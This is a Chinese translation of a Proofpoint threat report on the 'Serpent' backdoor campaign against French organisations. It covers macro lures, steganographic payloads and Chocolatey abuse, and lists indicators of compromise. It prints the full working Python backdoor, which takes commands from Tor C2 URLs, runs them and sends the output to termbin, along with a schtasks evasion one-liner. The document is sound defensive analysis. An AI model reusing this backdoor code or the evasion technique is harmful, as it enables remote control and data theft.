毒蛇,禁止滑动 ! 新的后门攻击法国实体

逆向病毒分析 2年前 (2022) admin
832 0 0

译者:知道创宇404实验室翻译组
原文链接:https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain

主要发现

  • Proofpoint 识别了一个有针对性的攻击,黑客利用一个开源软件包安装程序 Chocolatey 传送后门。
  • 这次袭击的目标是法国建筑、房地产和政府行业的实体。
  • 攻击者使用了简历为主题,并以 GDPR 信息作为诱饵。
  • 攻击者使用隐写术,包括一个卡通图像,来下载和安装毒蛇(Serpent)后门。
  • 攻击者还演示了一种使用定时任务的新型检测绕过技术。
  • 攻击者目前是未知的,但基于战术和受害者推测,它可能是一个高级的,有针对性的威胁组织。

概览

Proofpoint 发现了发生在法国建筑和政府部门实体的新的、有针对性的攻击行为。攻击者使用微软 Word 文档发布了 Chocolatey 安装程序包,这是一个开源的包安装程序。VBA 宏的各个部分包括下面的字符画,描绘了一条蛇,如下。

毒蛇,禁止滑动 ! 新的后门攻击法国实体

攻击者试图在潜在受害者的设备上安装一个后门,这个后门可以启用远程管理、命令和控制(C2)、数据盗窃或传送其他额外的有效负载。Proofpoint 将这个后门称为毒蛇。目前尚不清楚这个攻击者的最终目标。

攻击详情

在观察到的攻击活动中,信息是用法语写的,例如:

From: “Jeanne” jeanne.vrakele@gmail[.]com Subject “Candidature – Jeanne Vrakele”

这些信息包含一个启用宏的微软 Word 文档,伪装成与“ RGPD”或欧盟《一般数据保护条例》有关的信息。

毒蛇,禁止滑动 ! 新的后门攻击法国实体

图1: GDPR 主题的诱饵
 

当启用宏时,文档执行该宏,该宏指向一个图像 URL,例如,https://www.fhccu[.]com/images/ship3[.]jpg,包含一个用 base64编码的 PowerShell 脚本,该脚本使用隐写术隐藏在图像中。PowerShell 脚本首先下载、安装和更新 Chocolatey 安装程序包和存储库脚本。Chocolatey是一个用于 Windows 的软件管理自动化工具,它将安装程序、可执行程序、压缩程序和脚本包装成编译包,类似于 OSX 的 Homebrew。该软件为开源和付费版本提供了不同级别的功能。在此之前,Proofpoint 还没有观察到黑客在攻击中使用 chocoatey。

该脚本然后使用 Chocolatey 安装 Python,包括pip Python 包安装程序,然后用它来安装各种依赖项,包括PySocks,一个基于 Python 的反向代理客户端,使用户能够通过 SOCKS 和 HTTP 代理服务器发送流量。

接下来,该脚本获取另一个图像文件,例如 https://www.fhccu[.]com/images/7[.]jpg,它包含了一个用 base64编码的 Python 脚本,同样使用了隐藏技术,并将 Python 脚本保存为 MicrosoftSecurityUpdate.py。然后,该脚本创建并执行一个.bat 文件,该bat文件执行 Python 脚本。

攻击链最后环节是一个缩短的 URL,该 URL 重定向到 Microsoft Office 帮助网站。

毒蛇,禁止滑动 ! 新的后门攻击法国实体

图2: “ Swiper”映像:使用 base64编码的PowerShell 脚本下载并安装 chocoatey 和 Python,并获取另一个隐写图像
 

Python 脚本(毒蛇后门)如下:

#!/usr/bin/python3

from subprocess import Popen, PIPE, STDOUT
import requests
import re
import socket
import time

cmd_url_order = 'http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd.onion.pet/index.html'
cmd_url_answer = 'http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid.onion.pet/index.html'
hostname = socket.gethostname()
hostname_pattern = 'host:%s-00' % hostname
headers = {}
referer = {'Referer': hostname_pattern}
cache_control = {'Cache-Control': 'no-cache'}
headers.update(referer)
headers.update(cache_control)
check_cmd_1 = ''

def recvall(sock, n):
  data = b''
  while len(data) < n:
    packet = sock.recv(n - len(data))
    if not packet:
      return None
    data += packet
  return data


def get_cmd():
    req = requests.get(cmd_url_order, headers=headers).content.decode().strip()
    if req == '':
        pass
    else:
        return req

def run_cmd(cmd):
    cmd_split = cmd.split('--')
    if cmd_split[1] == hostname:
        cmd = cmd_split[2]
        print(cmd)
        run = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT)#.decode()
        out = run.stdout.read()
        if not out:
            out = b'ok'
        termbin_cnx = socks.socksocket()
        termbin_cnx = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '172.17.0.1', '9050', True)
        termbin_cnx.connect(('termbin.com', 9999))
        termbin_cnx.send(out)
        recv = termbin_cnx.recv(100000)
        termbin_url_created = recv.decode().rstrip('\x00').strip()
        print(termbin_url_created)
        termbin_header = {'Referer': hostname_pattern+" -- "+termbin_url_created}
        headers.update(termbin_header)
        try:
            push = requests.get(cmd_url_answer, headers=headers)
            print('executed')
            headers.update(referer)
        except Exception as e:
            print(e)
            pass
    else:
        print('not for me')

while True:
    time.sleep(10)
    try:
        check_cmd = get_cmd()
        if check_cmd != check_cmd_1:
            time.sleep(20)
            print(check_cmd)
            run_cmd(check_cmd)
            check_cmd_1 = check_cmd
            pass
    except Exception as e:
        print(e)
        pass

这个毒蛇后门会定期 ping “订单”服务器(第一个 onion[.]pet URL) ,并且需要 < random integer > — < hostname > — < command > 这样的形式的响应。如果 < hostname > 与受感染计算机的主机名匹配,受感染的主机运行订单服务器提供的命令(< command >) ,这可以是攻击者指定的任何 Windows 命令,并记录输出。然后,该恶意软件使用 PySocks 连接到命令行 pastebin 工具 Termbin,将输出结果粘贴到bin,并接收bin的唯一 URL。最后,恶意软件向“应答”服务器发送请求(第二个onion[.]pet URL) ,包括标题中的主机名和 bin URL。如此,攻击者通过“应答”URL 监视 bin 输出,并查看受感染主机的响应是什么。恶意软件在这个过程中无限循环。

毒蛇,禁止滑动 ! 新的后门攻击法国实体

图3: 毒蛇后门攻击链
 

这两个隐写图像托管在一个像牙买加信用合作社的网站。

毒蛇,禁止滑动 ! 新的后门攻击法国实体

图4: 使用 base64编码的 Python 脚本
 

黑客使用 Tor 代理来实现命令和控制(C2)基础设施,例如:

http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd[.]onion[.]pet/index.html

额外工具

除了在这个攻击链中使用的图像外,Proofpoint 的研究人员还观察到并确定了来自同一主机的额外有效载荷。其中一个特别有趣的地方是使用 schtasks.exe 的签名二进制代理执行的一个新的应用程序。值得注意的是,攻击者企图借助防御措施绕过侦测。

这个命令包含在一个类似的 Swiper 映像中,名为 ship.jpg,位于文件标记之后。

schtasks.exe /CREATE /SC ONEVENT /EC application /mo *[System/EventID=777] /f /TN run /TR "calc.exe" & EVENTCREATE /ID 777 /L APPLICATION /T INFORMATION /SO DummyEvent /D "Initiatescheduled task." &  schtasks.exe /DELETE /TN run /f

上面的命令利用 schtasks.exe 创建一个一次性任务来调用一个可移植的可执行文件。在这种情况下,可执行文件称为 calc.exe。此任务的触发取决于 EventID 为777的 Windows 事件的创建。然后,该命令创建一个虚拟事件来触发该任务并从任务调度程序中删除该任务。这种特殊的任务逻辑应用程序导致 可移植的可执行文件文件作为 taskhostsw.exe 的子进程执行,这是一个已签名的 Windows 二进制文件。

威胁评估

黑客利用多种独特的行为和攻击目标表明,这可能是一个高级的,有针对性的攻击组织。

利用 Chocolatey 作为初始有效载荷,可以使黑客绕过威胁检测机制,因为它是一个合法的软件包,不会立即被识别为恶意软件。在网络流量中观察到的合法 Python 工具的后续使用也可能不会被标记为恶意。 在宏观和后续有效载荷中使用隐写术是独一无二的; Proofpoint 很少在攻击中看到隐写术的使用。此外,使用 schtasks.exe 来执行所需的可移植的可执行文件的技术也是独特的,以前没有被 Proofpoint 威胁研究人员发现过。

Proofpoint 没有将这种攻击与已知的黑客或团体联系起来。

威胁行为者的最终目的目前尚不清楚。成功的感染将使黑客能够进行各种攻击,包括窃取信息、获取受感染主机的控制权,或者安装额外的有效载荷。

Indicators of Compromise

Indicator Description
https://www[.]fhccu[.]com/images/ship3[.]jpg Encoded Payload URL
https://www[.]fhccu[.]com/images/7[.]jpg Encoded Payload URL
http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid [.]onion[.]pet/index[.]html C2
http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd [.]onion[.]pet/index[.]html C2
http://shorturl[.]at/qzES8 ShortURL
jeanne.vrakele@gmail[.]com Sender Email
jean.dupontel@protonmail[.]com Sender Email
no-reply@dgfip-nanterre[.]com Sender Email
f988e252551fe83b5fc3749e1d844c31fad60be0c25e546c80dbb9923e03eaf2 Docm SHA256
ec8c8c44eae3360be03e88a4bc7bb03f3de8d0a298bff7250941776fcea9faab Docm SHA256
8912f7255b8f091e90083e584709cf0c69a9b55e09587f5927c9ac39447d6a19 Docm SHA256

“Proofpoint”检测和阻止与这些攻击有关的所有文件,并公开了下列新出现的威胁签名:

2035303-ET INFO 发现的 chocoatey Windows包管理域(Chocolatey .org, TLS SNI)
2035306-ET INFO Chocolatey Windows 包管理安装文件检索
2851286-ETPRO 恶意脚本通过图像请求检索

 

原文始发于Seenbug(知道创宇404实验室翻译组):毒蛇,禁止滑动 ! 新的后门攻击法国实体

版权声明:admin 发表于 2022年3月26日 上午9:30。
转载请注明:毒蛇,禁止滑动 ! 新的后门攻击法国实体 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...